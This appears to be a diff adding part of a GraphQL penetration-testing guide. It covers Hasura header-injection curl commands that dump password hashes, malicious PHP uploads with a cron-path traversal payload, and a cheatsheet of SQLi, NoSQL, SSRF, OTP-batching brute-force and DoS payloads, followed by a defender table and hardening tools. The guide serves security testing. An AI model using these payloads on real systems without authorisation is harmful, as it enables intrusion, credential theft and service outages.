+ **Hasura:** Test header injection with `x-hasura-role` and `x-hasura-user-id`.
+ If the server trusts these headers without validation (common when the admin
+ secret is not required):
+
+ ```bash
+ curl -s -X POST https://target.com/v1/graphql \
+ -H "Content-Type: application/json" \
+ -H "x-hasura-role: admin" \
+ -H "x-hasura-user-id: 1" \
+ -d '{"query": "{ users { id email password_hash } }"}'
+ ```
+
+ **Apollo Server:** Check for schema exposure through persisted query
+ extensions and the Apollo Studio explorer. Query the `_service` field if
+ Apollo Federation is in use:
+
+ ```graphql
+ query {
+ _service {
+ sdl
+ }
+ }
+ ```
+
+ This returns the full Schema Definition Language for the subgraph.
+
+ ---
+
+ ## 9 -- File Upload via Multipart GraphQL
+
+ The GraphQL multipart request specification (used by `graphql-upload`,
+ `apollo-upload-server`, and others) enables file uploads through mutations.
+ Test for path traversal, unrestricted file types, and oversized uploads.
+
+ ```bash
+ curl -s -X POST https://target.com/graphql \
+ -F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
+ -F map='{"0":["variables.file"]}' \
+ -F 0=@malicious.php
+ ```
+
+ Attack vectors to test:
+
+ - **Path traversal in the map field:** Manipulate the `map` JSON to write
+ files outside the intended upload directory:
+ `{"0": ["variables.file"], "path": "../../../etc/cron.d/shell"}`
+ - **Content-type trust:** Upload a `.php`, `.jsp`, or `.aspx` file and check
+ whether the server validates content by magic bytes or trusts the
+ Content-Type header.
+ - **Oversized uploads:** Send a multi-gigabyte file to test whether the server
+ enforces upload size limits at the GraphQL layer.
+ - **Temp file exposure:** Some implementations write uploaded files to a
+ predictable temporary path before processing -- check whether those temp
+ files are accessible via the web server.
+
+ ---
+
+ ## Detection / Defender View
+
+ If you are writing a report or advising a client on hardening, these are the
+ controls that would have prevented or detected each attack category above.
+
+ | Attack Category | Detection / Prevention |
+ |---|---|
+ | Introspection abuse | Disable introspection in production (`introspection: false`). Monitor for `__schema` and `__type` in query logs. |
+ | Field suggestion oracle | Disable field suggestions in production (Apollo: `includeStacktraceInErrorResponses: false` and custom plugin to strip suggestions; Yoga: `maskedErrors`). |
+ | IDOR via node IDs | Enforce ownership checks in every resolver. Use opaque non-sequential identifiers (UUIDs). |
+ | Nested auth gaps | Implement schema-level authorization directives (e.g., `@auth`, `@hasRole`). Apply checks at every resolver, not just top-level queries. |
+ | SQL / NoSQL injection | Use parameterized queries exclusively. Never concatenate user input into query strings. |
+ | Batching brute force | Limit array batch size (e.g., max 5 operations per request). Rate-limit by operation count, not HTTP request count. |
+ | Alias amplification | Set alias count limits. Use query cost analysis (e.g., graphql-query-complexity, GraphQL Armor). |
+ | Depth bomb | Enforce max query depth (typically 7-10). Libraries: graphql-depth-limit, GraphQL Armor. |
+ | Subscription hijack | Validate authentication on every `connection_init` and re-validate tokens periodically. Enforce Origin header checks for WebSocket upgrades. |
+ | Verbose errors | Return generic error messages in production. Strip stack traces and internal paths. |
+ | File upload abuse | Validate file content by magic bytes, enforce size limits, store files outside the web root, and re-encode images. |
+ | CSRF | Require `Content-Type: application/json` (browsers cannot set this in simple cross-origin requests). Reject GET-based mutations. Validate Origin header. |
+
+ Key hardening tools:
+
+ - **GraphQL Armor** -- drop-in middleware for Apollo, Yoga, and Envelop that
+ enforces depth limits, alias limits, cost analysis, and character limits.
+ - **Persisted queries** -- allowlist known operations and reject ad-hoc
+ queries in production. Apollo supports Automatic Persisted Queries (APQ)
+ with signature enforcement.
+ - **WAF rules** -- if you must use a WAF, configure it to parse the JSON body
+ and inspect the `query` field, not just URL parameters. Naive WAFs miss
+ POST-body payloads entirely.
+
+ ---
+
+ ## Engagement Cheatsheet
+
+ ```text
+ RECON
+ Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
+ Fingerprint engine graphw00f -t <url>
+ Introspection dump Full __schema query through Altair or InQL
+ Config audit graphql-cop -t <url>
+ Schema visualization Feed introspection JSON into GraphQL Voyager
+
+ BLIND SCHEMA RECOVERY (introspection disabled)
+ Field suggestions Query invalid fields, collect "Did you mean" responses
+ Automated recovery clairvoyance -t <url> -w wordlist.txt
+ Client bundle mining grep -oP '(query|mutation|fragment)\s+\w+' main.js
+ Apollo sandbox Navigate to endpoint in browser for Apollo Studio
+
+ AUTH TESTING
+ Unauthenticated access Replay every query/mutation with no Authorization header
+ Horizontal escalation Decode Relay node IDs, substitute other user IDs
+ Vertical escalation Test admin mutations with low-privilege tokens
+ Nested traversal Follow relationships to reach unauthorized objects
+ Cursor manipulation Decode Relay cursors, modify offset values
+
+ INJECTION
+ SQLi via variables {"name": "admin' OR 1=1 --"}
+ NoSQL injection {"filter": {"$ne": ""}}
+ SSRF via URL arguments Point URL fields at 169.254.169.254
+ Directive flooding 10,000 @include(if: true) on a single field
+
+ BATCHING
+ Array batching [{"query":"mutation{login(...)}"}, ...]
+ Alias batching a1: login(...) a2: login(...) ...
+ OTP exhaustion Batch all 4-6 digit codes in chunks of 500
+ Tooling CrackQL, BatchQL
+
+ DENIAL OF SERVICE
+ Depth bomb Nest circular relationships 8+ levels
+ Alias amplification 1000+ aliases on an expensive resolver
+ Fragment cycle Circular fragment spreads (A -> B -> A)
+ Incremental delivery @defer/@stream on expensive subtrees
+
+ SUBSCRIPTION ABUSE
+ No-auth subscribe connection_init with empty payload
+ Token expiry test Connect, wait for JWT expiry, send new subscription
+ CSWSH Cross-site WebSocket hijack via malicious page
+
+ FILE UPLOAD
+ Multipart spec -F operations=... -F map=... -F 0=@file
+ Path traversal Manipulate map JSON paths
+ Type bypass Upload executable with benign Content-Type
+
+ INFORMATION DISCLOSURE
+ Verbose errors Send type-mismatched arguments, observe stack traces
+ Federation SDL Query { _service { sdl } }
+ Hasura header injection x-hasura-role: admin without admin secret
+ ```
+
+ ---
+
+ ## Key References
+
+ - GraphQL specification: https://spec.graphql.org/
+ - GraphQL multipart request specification: https://github.com/jaydenseric/graphql-multipart-request-spec
+ - InQL (Burp Suite extension): https://github.com/doyensec/inql
+ - graphql-cop (security auditor): https://github.com/dolevf/graphql-cop
+ - CrackQL (batching and brute force): https://github.com/nicholasaleks/CrackQL
+ - BatchQL (batch query tool): https://github.com/assetnote/batchql
+ - clairvoyance (schema reconstruction): https://github.com/nikitastupin/clairvoyance
+ - graphw00f (fingerprinting): https://github.com/dolevf/graphw00f
+ - GraphQL Voyager (schema visualization): https://graphql-kit.com/graphql-voyager/
+ - Altair GraphQL Client: https://altairgraphql.dev/
+ - GraphQL Armor (hardening middleware): https://github.com/Escape-Technologies/graphql-armor
+ - OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
+ - HackTricks GraphQL: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/graphql.html
+ - "Damn Vulnerable GraphQL Application" (practice target): https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application